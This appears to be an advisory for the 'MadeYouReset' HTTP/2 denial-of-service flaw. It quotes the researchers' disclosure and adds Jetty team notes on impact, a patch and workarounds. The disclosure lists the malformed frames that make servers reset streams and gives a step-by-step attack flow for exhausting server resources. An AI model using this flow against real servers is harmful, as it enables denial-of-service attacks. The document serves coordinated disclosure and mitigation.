Mechanism The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RSTSTREAM frame). The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: 1. WINDOWUPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) 2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the ENDSTREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) 3. PRIORITY frame with a length other than 5. (section 6.3) From our experience, the primitives are likely to exist in the decreasing order listed above. Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RSTSTREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RSTSTREAM, and some implementations send GOAWAY when receiving a WINDOWUPDATE frame with increment of 0.
The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGSMAXCONCURRENTSTREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled.
Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RSTSTREAM.
Attack Flow For example, a possible attack scenario can be: 1. Attacker opens an HTTP/2 connection to the server. 2. Attacker sends HEADERS frame with ENDSTREAM flag on a new stream X. 3. Attacker sends WINDOWUPDATE for stream X with flow-control window of 0. 4. The server receives the WINDOWUPDATE and immediately sends RSTSTREAM for stream X to the client (+ decreases the active streams counter by 1).
The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependant)
Comparison to Rapid Reset The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. The Rapid Reset vulnerability uses RSTSTREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. Rapid Reset was mostly mitigated by limiting the number/rate of RSTSTREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RSTSTREAM.
Suggested Mitigations for MadeYouReset A quick and easy mitigation will be to limit the number/rate of RSTSTREAMs sent from the server. It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOWUPDATE and PRIORITY), and treat protocol flow errors as a connection error.
As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.
If you have any questions, we will be happy to clarify or schedule a Zoom call.
Gal, Anat and Yaniv.
Jetty's Team Notes
Impact A denial of service vulnerability similar to Rapid Reset, but where the client triggers a reset from the server by sending a malformed or invalid frame. In particular, this may be triggered by WINDOWUPDATE frames that are invalid (e.g. with delta==0 or when the delta makes the window exceed 2^31-1).
Patches Patch has been merged into 12.0.x mainline via https://github.com/jetty/jetty.project/pull/13449.
Workarounds No workarounds apart disabling HTTP/2.